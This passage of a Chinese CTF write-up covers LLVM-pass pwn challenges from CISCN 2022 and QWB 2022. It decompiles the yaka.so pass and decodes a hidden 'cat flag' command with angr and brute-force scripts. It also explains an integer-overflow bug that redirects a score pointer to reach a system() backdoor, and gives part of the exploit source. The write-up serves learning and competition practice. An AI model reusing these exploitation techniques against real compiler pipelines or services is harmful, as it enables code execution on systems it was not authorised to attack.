%164 = add nsw i64 %162, 162
%165 = add nsw i64 %163, 163
%166 = add nsw i64 %164, 164
%167 = add nsw i64 %165, 165
%168 = add nsw i64 %166, 166
%169 = add nsw i64 %167, 167
%170 = add nsw i64 %168, 168
%171 = add nsw i64 %169, 169
%172 = add nsw i64 %170, 170
%173 = add nsw i64 %171, 171
%174 = add nsw i64 %172, 172
%175 = add nsw i64 %173, 173
%176 = add nsw i64 %174, 174
%177 = add nsw i64 %175, 175
%178 = add nsw i64 %176, 176
%179 = add nsw i64 %177, 177
%180 = add nsw i64 %178, 178
%181 = add nsw i64 %179, 179
%182 = add nsw i64 %180, 180
%183 = add nsw i64 %181, 181
%184 = add nsw i64 %182, 182
%185 = add nsw i64 %183, 183
%186 = add nsw i64 %184, 184
%187 = add nsw i64 %185, 185
%188 = add nsw i64 %186, 186
%189 = add nsw i64 %187, 187
%190 = add nsw i64 %188, 188
%191 = add nsw i64 %189, 189
%192 = add nsw i64 %190, 190
%193 = add nsw i64 %191, 191
%194 = add nsw i64 %192, 192
%195 = add nsw i64 %193, 193
%196 = add nsw i64 %194, 194
%197 = add nsw i64 %195, 195
%198 = add nsw i64 %196, 196
%199 = add nsw i64 %197, 197
%200 = add nsw i64 %198, 198
%201 = add nsw i64 %199, 199
%202 = add nsw i64 %200, 200
%203 = add nsw i64 %201, 201
%204 = add nsw i64 %202, 202
%205 = add nsw i64 %203, 203
%206 = add nsw i64 %204, 204
%207 = add nsw i64 %205, 205
%208 = add nsw i64 %206, 206
%209 = add nsw i64 %207, 207
%210 = add nsw i64 %208, 208
%211 = add nsw i64 %209, 209
%212 = add nsw i64 %210, 210
%213 = add nsw i64 %211, 211
%214 = add nsw i64 %212, 212
%215 = add nsw i64 %213, 213
%216 = add nsw i64 %214, 214
%217 = add nsw i64 %215, 215
%218 = add nsw i64 %216, 216
%219 = add nsw i64 %217, 217
%220 = add nsw i64 %218, 218
%221 = add nsw i64 %219, 219
%222 = add nsw i64 %220, 220
%223 = add nsw i64 %221, 221
%224 = add nsw i64 %222, 222
%225 = add nsw i64 %223, 223
%226 = add nsw i64 %224, 224
%227 = add nsw i64 %225, 225
%228 = add nsw i64 %226, 226
%229 = add nsw i64 %227, 227
%230 = add nsw i64 %228, 228
%231 = add nsw i64 %229, 229
%232 = add nsw i64 %230, 230
%233 = add nsw i64 %231, 231
%234 = add nsw i64 %232, 232
%235 = add nsw i64 %233, 233
%236 = add nsw i64 %234, 234
%237 = add nsw i64 %235, 235
%238 = add nsw i64 %236, 236
%239 = add nsw i64 %237, 237
%240 = add nsw i64 %238, 238
%241 = add nsw i64 %239, 239
%242 = add nsw i64 %240, 240
%243 = add nsw i64 %241, 241
%244 = add nsw i64 %242, 242
%245 = add nsw i64 %243, 243
%246 = add nsw i64 %244, 244
%247 = add nsw i64 %245, 245
%248 = add nsw i64 %246, 246
%249 = add nsw i64 %247, 247
%250 = add nsw i64 %248, 248
%251 = add nsw i64 %249, 249
%252 = add nsw i64 %250, 250
%253 = add nsw i64 %251, 251
%254 = add nsw i64 %252, 252
%255 = add nsw i64 %253, 253
%256 = add nsw i64 %254, 254
%257 = add nsw i64 %255, 255
%258 = add nsw i64 %256, 256
%259 = add nsw i64 %257, 257
%260 = add nsw i64 %258, 258
%261 = add nsw i64 %259, 259
%262 = add nsw i64 %260, 260
%263 = add nsw i64 %261, 261
%264 = add nsw i64 %262, 262
%265 = add nsw i64 %263, 263
%266 = add nsw i64 %264, 264
%267 = add nsw i64 %265, 265
%268 = add nsw i64 %266, 266
%269 = add nsw i64 %267, 267
%270 = add nsw i64 %268, 268
%271 = add nsw i64 %269, 269
%272 = add nsw i64 %270, 270
%273 = add nsw i64 %271, 271
%274 = add nsw i64 %272, 272
%275 = add nsw i64 %273, 273
%276 = add nsw i64 %274, 274
%277 = add nsw i64 %275, 275
%278 = add nsw i64 %276, 276
%279 = add nsw i64 %277, 277
%280 = add nsw i64 %278, 278
%281 = add nsw i64 %279, 279
%282 = add nsw i64 %280, 280
%283 = add nsw i64 %281, 281
%284 = add nsw i64 %282, 282
%285 = add nsw i64 %283, 283
%286 = add nsw i64 %284, 284
%287 = add nsw i64 %285, 285
%288 = add nsw i64 %286, 286
%289 = add nsw i64 %287, 287
%290 = add nsw i64 %288, 288
%291 = add nsw i64 %289, 289
%292 = add nsw i64 %290, 290
%293 = add nsw i64 %291, 291
%294 = add nsw i64 %292, 292
%295 = add nsw i64 %293, 293
%296 = add nsw i64 %294, 294
%297 = add nsw i64 %295, 295
%298 = add nsw i64 %296, 296
%299 = add nsw i64 %297, 297
%300 = add nsw i64 %298, 298
%301 = add nsw i64 %299, 299
%302 = add nsw i64 %300, 300
%303 = add nsw i64 %301, 301
%304 = add nsw i64 %302, 302
%305 = add nsw i64 %303, 303
%306 = add nsw i64 %304, 304
%307 = add nsw i64 %305, 305
%308 = add nsw i64 %306, 306
%309 = add nsw i64 %307, 307
%310 = add nsw i64 %308, 308
%311 = add nsw i64 %309, 309
%312 = add nsw i64 %310, 310
%313 = add nsw i64 %311, 311
%314 = add nsw i64 %312, 312
%315 = add nsw i64 %313, 313
%316 = add nsw i64 %314, 314
%317 = add nsw i64 %315, 315
%318 = add nsw i64 %316, 316
%319 = add nsw i64 %317, 317
%320 = add nsw i64 %318, 318
%321 = add nsw i64 %319, 319
%322 = add nsw i64 %320, 320
%323 = add nsw i64 %321, 321
%324 = add nsw i64 %322, 322
%325 = add nsw i64 %323, 323
%326 = add nsw i64 %324, 324
%327 = add nsw i64 %325, 325
%328 = add nsw i64 %326, 326
%329 = add nsw i64 %327, 327
%330 = add nsw i64 %328, 328
%331 = add nsw i64 %329, 329
%332 = add nsw i64 %330, 330
%333 = add nsw i64 %331, 331
%334 = add nsw i64 %332, 332
%335 = add nsw i64 %333, 333
%336 = add nsw i64 %334, 334
%337 = add nsw i64 %335, 335
%338 = add nsw i64 %336, 336
%339 = add nsw i64 %337, 337
%340 = add nsw i64 %338, 338
%341 = add nsw i64 %339, 339
%342 = add nsw i64 %340, 340
%343 = add nsw i64 %341, 341
%344 = add nsw i64 %342, 342
%345 = add nsw i64 %343, 343
%346 = add nsw i64 %344, 344
%347 = add nsw i64 %345, 345
%348 = add nsw i64 %346, 346
%349 = add nsw i64 %347, 347
%350 = add nsw i64 %348, 348
%351 = add nsw i64 %349, 349
%352 = add nsw i64 %350, 350
%353 = add nsw i64 %351, 351
%354 = add nsw i64 %352, 352
%355 = add nsw i64 %353, 353
%356 = add nsw i64 %354, 354
%357 = add nsw i64 %355, 355
%358 = add nsw i64 %356, 356
%359 = add nsw i64 %357, 357
%360 = add nsw i64 %358, 358
%361 = add nsw i64 %359, 359
%362 = add nsw i64 %360, 360
%363 = add nsw i64 %361, 361
%364 = add nsw i64 %362, 362
%365 = add nsw i64 %363, 363
%366 = add nsw i64 %364, 364
%367 = add nsw i64 %365, 365
%368 = add nsw i64 %366, 366
%369 = add nsw i64 %367, 367
%370 = add nsw i64 %368, 368
%371 = add nsw i64 %369, 369
%372 = add nsw i64 %370, 370
%373 = add nsw i64 %371, 371
%374 = add nsw i64 %372, 372
%375 = add nsw i64 %373, 373
%376 = add nsw i64 %374, 374
%377 = add nsw i64 %375, 375
%378 = add nsw i64 %376, 376
%379 = add nsw i64 %377, 377
%380 = add nsw i64 %378, 378
%381 = add nsw i64 %379, 379
%382 = add nsw i64 %380, 380
%383 = add nsw i64 %381, 381
%384 = add nsw i64 %382, 382
%385 = add nsw i64 %383, 383
%386 = add nsw i64 %384, 384
%387 = add nsw i64 %385, 385
%388 = add nsw i64 %386, 386
%389 = add nsw i64 %387, 387
%390 = add nsw i64 %388, 388
%391 = add nsw i64 %389, 389
%392 = add nsw i64 %390, 390
%393 = add nsw i64 %391, 391
%394 = add nsw i64 %392, 392
%395 = add nsw i64 %393, 393
%396 = add nsw i64 %394, 394
%397 = add nsw i64 %395, 395
%398 = add nsw i64 %396, 396
%399 = add nsw i64 %397, 397
%400 = add nsw i64 %398, 398
%401 = add nsw i64 %399, 399
%402 = add nsw i64 %400, 400
%403 = add nsw i64 %401, 401
%404 = add nsw i64 %402, 402
%405 = add nsw i64 %403, 403
%406 = add nsw i64 %404, 404
%407 = add nsw i64 %405, 405
%408 = add nsw i64 %406, 406
%409 = add nsw i64 %407, 407
%410 = add nsw i64 %408, 408
%411 = add nsw i64 %409, 409
%412 = add nsw i64 %410, 410
%413 = add nsw i64 %411, 411
%414 = add nsw i64 %412, 412
%415 = add nsw i64 %413, 413
%416 = add nsw i64 %414, 414
%417 = add nsw i64 %415, 415
%418 = add nsw i64 %416, 416
%419 = add nsw i64 %417, 417
%420 = add nsw i64 %418, 418
%421 = add nsw i64 %419, 419
%422 = add nsw i64 %420, 420
%423 = add nsw i64 %421, 421
%424 = add nsw i64 %422, 422
%425 = add nsw i64 %423, 423
%426 = add nsw i64 %424, 424
%427 = add nsw i64 %425, 425
%428 = add nsw i64 %426, 426
%429 = add nsw i64 %427, 427
%430 = add nsw i64 %428, 428
%431 = add nsw i64 %429, 429
%432 = add nsw i64 %430, 430
%433 = add nsw i64 %431, 431
%434 = add nsw i64 %432, 432
%435 = add nsw i64 %433, 433
%436 = add nsw i64 %434, 434
%437 = add nsw i64 %435, 435
%438 = add nsw i64 %436, 436
%439 = add nsw i64 %437, 437
%440 = add nsw i64 %438, 438
%441 = add nsw i64 %439, 439
%442 = add nsw i64 %440, 440
%443 = add nsw i64 %441, 441
%444 = add nsw i64 %442, 442
%445 = add nsw i64 %443, 443
%446 = add nsw i64 %444, 444
%447 = add nsw i64 %445, 445
%448 = add nsw i64 %446, 446
%449 = add nsw i64 %447, 447
%450 = add nsw i64 %448, 448
%451 = add nsw i64 %449, 449
%452 = add nsw i64 %450, 450
%453 = add nsw i64 %451, 451
%454 = add nsw i64 %452, 452
%455 = add nsw i64 %453, 453
%456 = add nsw i64 %454, 454
%457 = add nsw i64 %455, 455
%458 = add nsw i64 %456, 456
%459 = add nsw i64 %457, 457
%460 = add nsw i64 %458, 458
%461 = add nsw i64 %459, 459
%462 = add nsw i64 %460, 460
%463 = add nsw i64 %461, 461
%464 = add nsw i64 %462, 462
%465 = add nsw i64 %463, 463
%466 = add nsw i64 %464, 464
%467 = add nsw i64 %465, 465
%468 = add nsw i64 %466, 466
%469 = add nsw i64 %467, 467
%470 = add nsw i64 %468, 468
%471 = add nsw i64 %469, 469
%472 = add nsw i64 %470, 470
%473 = add nsw i64 %471, 471
%474 = add nsw i64 %472, 472
%475 = add nsw i64 %473, 473
%476 = add nsw i64 %474, 474
%477 = add nsw i64 %475, 475
%478 = add nsw i64 %476, 476
%479 = add nsw i64 %477, 477
%480 = add nsw i64 %478, 478
%481 = add nsw i64 %479, 479
%482 = add nsw i64 %480, 480
%483 = add nsw i64 %481, 481
%484 = add nsw i64 %482, 482
%485 = add nsw i64 %483, 483
%486 = add nsw i64 %484, 484
%487 = add nsw i64 %485, 485
%488 = add nsw i64 %486, 486
%489 = add nsw i64 %487, 487
%490 = add nsw i64 %488, 488
%491 = add nsw i64 %489, 489
%492 = add nsw i64 %490, 490
%493 = add nsw i64 %491, 491
%494 = add nsw i64 %492, 492
%495 = add nsw i64 %493, 493
%496 = add nsw i64 %494, 494
%497 = add nsw i64 %495, 495
%498 = add nsw i64 %496, 496
%499 = add nsw i64 %497, 497
%500 = add nsw i64 %498, 498
%501 = add nsw i64 %499, 499
%502 = add nsw i64 %500, 500
%503 = add nsw i64 %501, 501
%504 = add nsw i64 %502, 502
%505 = add nsw i64 %503, 503
%506 = add nsw i64 %504, 504
%507 = add nsw i64 %505, 505
%508 = add nsw i64 %506, 506
%509 = add nsw i64 %507, 507
%510 = add nsw i64 %508, 508
%511 = add nsw i64 %509, 509
%512 = add nsw i64 %510, 510
%513 = add nsw i64 %511, 511
%514 = add nsw i64 %512, 512
%515 = add nsw i64 %513, 513
%516 = add nsw i64 %514, 514
%517 = add nsw i64 %515, 515
%518 = add nsw i64 %516, 516
%519 = add nsw i64 %517, 517
%520 = add nsw i64 %518, 518
%521 = add nsw i64 %519, 519
%522 = add nsw i64 %520, 520
%523 = add nsw i64 %521, 521
%524 = add nsw i64 %522, 522
%525 = add nsw i64 %523, 523
%526 = add nsw i64 %524, 524
%527 = add nsw i64 %525, 525
%528 = add nsw i64 %526, 526
%529 = add nsw i64 %527, 527
%530 = add nsw i64 %528, 528
%531 = add nsw i64 %529, 529
%532 = add nsw i64 %530, 530
%533 = add nsw i64 %531, 531
%534 = add nsw i64 %532, 532
%535 = add nsw i64 %533, 533
%536 = add nsw i64 %534, 534
%537 = add nsw i64 %535, 535
%538 = add nsw i64 %536, 536
%539 = add nsw i64 %537, 537
%540 = add nsw i64 %538, 538
%541 = add nsw i64 %539, 539
%542 = add nsw i64 %540, 540
%543 = add nsw i64 %541, 541
%544 = add nsw i64 %542, 542
%545 = add nsw i64 %543, 543
%546 = add nsw i64 %544, 544
%547 = add nsw i64 %545, 545
%548 = add nsw i64 %546, 546
%549 = add nsw i64 %547, 547
%550 = add nsw i64 %548, 548
%551 = add nsw i64 %549, 549
%552 = add nsw i64 %550, 550
%553 = add nsw i64 %551, 551
%554 = add nsw i64 %552, 552
%555 = add nsw i64 %553, 553
%556 = add nsw i64 %554, 554
%557 = add nsw i64 %555, 555
%558 = add nsw i64 %556, 556
%559 = add nsw i64 %557, 557
%560 = add nsw i64 %558, 558
%561 = add nsw i64 %559, 559
%562 = add nsw i64 %560, 560
%563 = add nsw i64 %561, 561
%564 = add nsw i64 %562, 562
%565 = add nsw i64 %563, 563
%566 = add nsw i64 %564, 564
%567 = add nsw i64 %565, 565
%568 = add nsw i64 %566, 566
%569 = add nsw i64 %567, 567
%570 = add nsw i64 %568, 568
%571 = add nsw i64 %569, 569
%572 = add nsw i64 %570, 570
%573 = add nsw i64 %571, 571
%574 = add nsw i64 %572, 572
%575 = add nsw i64 %573, 573
%576 = add nsw i64 %574, 574
%577 = add nsw i64 %575, 575
%578 = add nsw i64 %576, 576
%579 = add nsw i64 %577, 577
%580 = add nsw i64 %578, 578
%581 = add nsw i64 %579, 579
%582 = add nsw i64 %580, 580
%583 = add nsw i64 %581, 581
%584 = add nsw i64 %582, 582
%585 = add nsw i64 %583, 583
%586 = add nsw i64 %584, 584
%587 = add nsw i64 %585, 585
%588 = add nsw i64 %586, 586
%589 = add nsw i64 %587, 587
%590 = add nsw i64 %588, 588
%591 = add nsw i64 %589, 589
%592 = add nsw i64 %590, 590
%593 = add nsw i64 %591, 591
%594 = add nsw i64 %592, 592
%595 = add nsw i64 %593, 593
%596 = add nsw i64 %594, 594
%597 = add nsw i64 %595, 595
%598 = add nsw i64 %596, 596
%599 = add nsw i64 %597, 597
%600 = add nsw i64 %598, 598
%601 = add nsw i64 %599, 599
%602 = add nsw i64 %600, 600
%603 = add nsw i64 %601, 601
%604 = add nsw i64 %602, 602
%605 = add nsw i64 %603, 603
%606 = add nsw i64 %604, 604
%607 = add nsw i64 %605, 605
%608 = add nsw i64 %606, 606
%609 = add nsw i64 %607, 607
%610 = add nsw i64 %608, 608
%611 = add nsw i64 %609, 609
%612 = add nsw i64 %610, 610
%613 = add nsw i64 %611, 611
%614 = add nsw i64 %612, 612
%615 = add nsw i64 %613, 613
%616 = add nsw i64 %614, 614
%617 = add nsw i64 %615, 615
%618 = add nsw i64 %616, 616
%619 = add nsw i64 %617, 617
%620 = add nsw i64 %618, 618
%621 = add nsw i64 %619, 1
%622 = add nsw i64 %620, 620
%623 = add nsw i64 %621, 1
%624 = add nsw i64 %622, 622
%625 = add nsw i64 %623, 1
%626 = add nsw i64 %624, 624
%627 = add nsw i64 %625, 1
%628 = add nsw i64 %626, 626
%629 = add nsw i64 %627, 1
%630 = add nsw i64 %628, 628
%631 = add nsw i64 %629, 1
%632 = add nsw i64 %630, 630
%633 = add nsw i64 %631, 1
%634 = add nsw i64 %632, 632
%635 = add nsw i64 %633, 1
%636 = add nsw i64 %634, 634
%637 = add nsw i64 %635, 1
%638 = add nsw i64 %636, 636
%639 = add nsw i64 %637, 637
ret i64 %639
}

这是第一个函数解析完的亚子:

image-20220829230121692

这是第二个函数解析完的亚子:

image-20220829230257976

image-20220829230312265

image-20220829230329756

在网上看了一下,这个方法叫做错位执行,这个题目的具体逆向内容可以参考这篇文章:2022CISCN-satool

彻底麻木——强网杯2022

比赛的时候,看到这个类型的题目我是满怀欣喜的,因为我之前毕竟遇到过三道这种题型的题目了,并且我还找到出题人写的学习笔记了。但是依然没做出来,,,难受!!!

来复现吧……打开题目,直接逆向分析yaka.so,发现这个貌似符号表扣的比之前扣的更干净?(怎么做到的???finger跑一手,基本上都跑出来了,然后再找runOnFunction,这一步就不赘述了。找到了以后大致分析一下:

__int64 __fastcall sub_C880(__int64 a1, llvm::Value *a2)
{
  v69 = a1;
  v68 = a2;
  cmd = (char *)malloc(0x10uLL);
  v66[0] = llvm::Value::getName(a2);
  v66[1] = v2;
  llvm::StringRef::operator std::string(v67, v66);
  if ( (std::operator==<char>(v67, "gamestart") & 1) != 0 )  //只处理gamestart函数内容
  {
    strcpy(cmd, &src);			//初始化cmd字串
    score = malloc(8uLL);
    *score = 0LL;
    v65 = 0;
    for ( i = llvm::Function::begin(v68);
          ;
          llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator++(
            &i,
            0LL) )
    {
      v63 = llvm::Function::end(v68);
      if ( (llvm::operator!=(&i, &v63) & 1) == 0 )
        break;
      ++v65;
      v3 = (llvm::BasicBlock *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator->(&i);
      for ( j = llvm::BasicBlock::begin(v3);
            ;
            llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
              &j,
              0LL) )
      {
        v4 = (llvm::BasicBlock *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator->(&i);
        v61 = llvm::BasicBlock::end(v4);
        if ( (llvm::operator!=(&j, &v61) & 1) == 0 )
          break;
        v5 = (llvm::Instruction *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator->(&j);
        if ( (unsigned int)llvm::Instruction::getOpcode(v5) == 55 ) //对应得IR是call,解析gamesstart函数里面得函数调用
        {
          v60 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(&j);
          llvm::CallBase::getCalledFunction(v60);
          CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v60);
          if ( CalledFunction )
          {
            v57[0] = llvm::Value::getName(CalledFunction);
            v57[1] = v6;
            llvm::StringRef::operator std::string(v58, v57);
            if ( (std::operator==<char>(v58, "fight") & 1) != 0 )		//函数名为fight,一个参数,代表使用的武器得index
            {
              NumOperands = llvm::CallBase::getNumOperands(v60);
              if ( NumOperands != 2 )
                exit(0);
              ArgOperand = llvm::CallBase::getArgOperand(v60, 0);
              v55 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);
              ZExtValue = llvm::ConstantInt::getZExtValue(v55);
              v8 = std::operator<<<std::char_traits<char>>(&std::cout, "you decide to use the weapon which index is ");
              v9 = std::ostream::operator<<(v8, weaponindex);
              v10 = std::operator<<<std::char_traits<char>>(v9, "to fight with the boss");
              std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
              v53 = weaponlist[ZExtValue];
              if ( boss <= v53 )
              {
                v12 = std::operator<<<std::char_traits<char>>(&std::cout, "you win");
                std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
                v13 = std::operator<<<std::char_traits<char>>(&std::cout, "you score is ");
                v14 = std::ostream::operator<<(v13, v53 - boss);
                std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
                *score = v53 - boss;
              }
              else
              {
                v11 = std::operator<<<std::char_traits<char>>(&std::cout, "you loss");
                std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
              }
              if ( (__int64)*score > 305419896 ) //当分值超过305419896,便执行backdoor函数:system(cmd)
                backdoor();
            }
            else if ( (std::operator==<char>(v58, "merge") & 1) != 0 )   //两个参数,合并的两个武器的idx
            {
              v52 = llvm::CallBase::getNumOperands(v60);
              if ( v52 != 3 )
                exit(0);
              v15 = llvm::CallBase::getArgOperand(v60, 0);
              v51 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v15);
              v50 = llvm::ConstantInt::getZExtValue(v51);
              v16 = llvm::CallBase::getArgOperand(v60, 1u);
              v51 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v16);
              v49 = llvm::ConstantInt::getZExtValue(v51);
              weaponlist[v50] += weaponlist[v49];
            }
            else if ( (std::operator==<char>(v58, "destroy") & 1) != 0 )     //销毁武器,一个参数,打算销毁的武器的idx
            {
              v48 = 0;
              v47 = llvm::CallBase::getNumOperands(v60);
              if ( v47 != 2 )
                exit(0);
              v17 = llvm::CallBase::getArgOperand(v60, 0);
              v46 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);
              v48 = llvm::ConstantInt::getZExtValue(v46);
              weaponlist[v48] = 0;
            }
            else if ( (std::operator==<char>(v58, "upgrade") & 1) != 0 )		//升级所有武器
            {
              v45 = 0;
              v44 = llvm::CallBase::getNumOperands(v60);
              if ( v44 != 2 )
                exit(0);
              v18 = llvm::CallBase::getArgOperand(v60, 0);
              v43 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v18);
              v45 = llvm::ConstantInt::getZExtValue(v43);
              for ( k = 0; k < 256; ++k )
                weaponlist[k] += v45;
              v19 = std::operator<<<std::char_traits<char>>(&std::cout, "upgrade finish");
              std::ostream::operator<<(v19, &std::endl<char,std::char_traits<char>>);
              v20 = std::operator<<<std::char_traits<char>>(&std::cout, "enjoy your war");
              std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
            }
            else if ( (std::operator==<char>(v58, "wuxiangdeyidao") & 1) != 0 ) //下面的四个函数是对cmd字符串进行操作,我们根据后门函数内容,我们非常有理由相信最后cmd应该是cat flag,
            {
              --boss;
              for ( m = 0; m < 8; ++m )
                cmd[m] ^= 0x14u;
            }
            else if ( (std::operator==<char>(v58, "zhanjinniuza") & 1) != 0 )
            {
              boss -= 2;
              for ( n = 0; n < 8; ++n )
                cmd[n] ^= 0x7Fu;
            }
            else if ( (std::operator==<char>(v58, "guobapenhuo") & 1) != 0 )
            {
              boss -= 3;
              for ( ii = 0; ii < 8; ++ii )
                cmd[ii] -= 9;
            }
            else if ( (std::operator==<char>(v58, "tiandongwanxiang") & 1) != 0 )
            {
              boss -= 80;
              for ( jj = 0; jj < 8; ++jj )
                cmd[jj] += 2;
            }
            else			//如果函数名称不是上述的任何一个,那么将会做为新武器存到一个map里面
            {
              v37 = 0;
              v36 = llvm::CallBase::getNumOperands(v60);
              if ( v36 != 2 )
                exit(0);
              v21 = llvm::CallBase::getArgOperand(v60, 0);
              v35 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
              v37 = llvm::ConstantInt::getZExtValue(v35);
              v34 = std::map<std::string,unsigned char>::begin(&funMap[abi:cxx11]);
              v33 = 0;
              while ( 1 )
              {
                v32 = std::map<std::string,unsigned char>::end(&funMap[abi:cxx11]);
                if ( (std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator!=(&v34, &v32) & 1) == 0 )
                  break;
                v22 = std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator->(&v34);
                if ( (std::operator==<char>(v22, v58) & 1) != 0 )
                {
                  v23 = std::operator<<<std::char_traits<char>>(
                          &std::cout,
                          "you really want this?all right,i will add it into the weapon list");
                  std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>);
                  v24 = *(_BYTE *)(std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator->(&v34)
                                 + 32);
                  weaponlist[v33] = v24;
                  break;
                }
                ++v33;
                v31[1] = std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator++(&v34, 0LL);
              }
              v31[0] = std::map<std::string,unsigned char>::end(&funMap[abi:cxx11]);
              if ( (std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator==(&v34, v31) & 1) != 0 )
              {
                v25 = std::operator<<<std::char_traits<char>>(&std::cout, "wow!! you find a new weapon");
                std::ostream::operator<<(v25, &std::endl<char,std::char_traits<char>>);
              }
              v28 = v37;
              v29[0] = llvm::Value::getName(CalledFunction);
              v29[1] = v26;
              llvm::StringRef::operator std::string(v30, v29);
              *(_BYTE *)std::map<std::string,unsigned char>::operator[](&funMap[abi:cxx11], v30) = v28;
              std::string::~string(v30);
            }
            std::string::~string(v58);
          }
        }
      }
    }
  }
  std::string::~string(v67);
  return 0LL;
}

分析到这里,思路其实很清晰的,因为score指针存储在bss段上,所以我们可以通过一个任意地址或者越界访问修改score指针,指向的内容较大即可getshell。因为weapon也在bss上,所以我当时一直找weapon越界访问的地方,把和weapon相关的汇编都过了一遍,发现全部都不行……然后比赛的时候就做不出来了。对了比赛的时候我把cmd解密了,就是把cmd编程cat flag了(我貌似之前好像还是一个re手?)这块我第一个想法就是angr约束求解,来一手:

#include <stdio.h>
#include <string.h>
int main()
{
	int tmp = 0x92;
	char path[20]={0};
	scanf("%s", path);
	for (int i = 0; i < strlen(path); ++i)
	{
		switch (path[i])
		{
		case '0':
			tmp ^= 0x14u;
			break;
		case '1':
			tmp ^= 0x7Fu;
			break;
		case '2':
			tmp -= 9;
			break;
		case '3':
			tmp += 2;
			break;
		}
	}
	if (tmp == 'c')
		printf("%s", path);
	else
		printf("err");
	return 0;
}
import angr
p = angr.Project("./fuck",auto_load_libs=False)
sta = p.factory.entry_state()
sim = p.factory.simulation_manager(sta)
sim.explore(find = 0x0000000000401269, avoid=0x0000000000401283)
print(sim.found[0].posix.dumps(0))
# 3012

应该是可以跑的啊!!!比赛时候都跑出来了,但是现在一跑就挂,气死了!!!

当时d33b4t0爷还帮忙写了一个脚本:

def to_4(m):
    tmp = ""
    for i in range(10):
        tmp = str(m%4) + tmp
        m //= 4
    return tmp

def fuck(path:str):
    tmp = 0
    for i in range(10):
        if(path[i]=='0'):
            tmp ^= 0x14;
        elif(path[i]=='1'):
            tmp ^= 0x7f;
        elif(path[i]=='2'):
            tmp -= 9;
        elif(path[i]=='3'):
            tmp += 2;
    return tmp

from tqdm import trange
for path in trange(4**10):
    tmp = to_4(path)
    a = fuck(tmp)
    if a==ord("c"):
        print(tmp)
# 1322013310 0312333323 0330203013 0320132313 1332101303 1023033330 1112301312 1210213202

但是还是不大对……算了,不管了。。。直接抄答案吧:

	tiandongwanxiang();
	wuxiangdeyidao();
	zhanjinniuza();
	guobapenhuo();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	wuxiangdeyidao();
	zhanjinniuza();

下来才是复现的过程,我有重新把代码过了一遍,发现自己比赛的时候就是眼瞎……

image-20220829234743437

这不就是比赛的时候我一直在找的东西么……麻了

这里相当于是一个整数溢出,然后当v33足够大时便会变为负的,向上溢出,这里我们是把指针修改为opt的代码段头,因为opt代码段的头是ELF,高地址是F,也就是0x46,大于0x12,所以此时的score一定大于0x12345678

void fight(int idx){}
void merge(int a, int b){}
void destroy(int idx){}
void upgrade(int a){}
void wuxiangdeyidao(){}
void zhanjinniuza(){}
void guobapenhuo(){}
void tiandongwanxiang(){}
void fuck000(int unknown){}
void fuck001(int unknown){}
void fuck002(int unknown){}
void fuck003(int unknown){}
void fuck004(int unknown){}
void fuck005(int unknown){}
void fuck006(int unknown){}
void fuck007(int unknown){}
void fuck008(int unknown){}
void fuck009(int unknown){}
void fuck010(int unknown){}
void fuck011(int unknown){}
void fuck012(int unknown){}
void fuck013(int unknown){}
void fuck014(int unknown){}
void fuck015(int unknown){}
void fuck016(int unknown){}
void fuck017(int unknown){}
void fuck018(int unknown){}
void fuck019(int unknown){}
void fuck020(int unknown){}
void fuck021(int unknown){}
void fuck022(int unknown){}
void fuck023(int unknown){}
void fuck024(int unknown){}
void fuck025(int unknown){}
void fuck026(int unknown){}
void fuck027(int unknown){}
void fuck028(int unknown){}
void fuck029(int unknown){}
void fuck030(int unknown){}
void fuck031(int unknown){}
void fuck032(int unknown){}
void fuck033(int unknown){}
void fuck034(int unknown){}
void fuck035(int unknown){}
void fuck036(int unknown){}
void fuck037(int unknown){}
void fuck038(int unknown){}
void fuck039(int unknown){}
void fuck040(int unknown){}
void fuck041(int unknown){}
void fuck042(int unknown){}
void fuck043(int unknown){}
void fuck044(int unknown){}
void fuck045(int unknown){}
void fuck046(int unknown){}
void fuck047(int unknown){}
void fuck048(int unknown){}
void fuck049(int unknown){}
void fuck050(int unknown){}
void fuck051(int unknown){}
void fuck052(int unknown){}
void fuck053(int unknown){}
void fuck054(int unknown){}
void fuck055(int unknown){}
void fuck056(int unknown){}
void fuck057(int unknown){}
void fuck058(int unknown){}
void fuck059(int unknown){}
void fuck060(int unknown){}
void fuck061(int unknown){}
void fuck062(int unknown){}
void fuck063(int unknown){}
void fuck064(int unknown){}
void fuck065(int unknown){}
void fuck066(int unknown){}
void fuck067(int unknown){}
void fuck068(int unknown){}
void fuck069(int unknown){}
void fuck070(int unknown){}
void fuck071(int unknown){}
void fuck072(int unknown){}
void fuck073(int unknown){}
void fuck074(int unknown){}
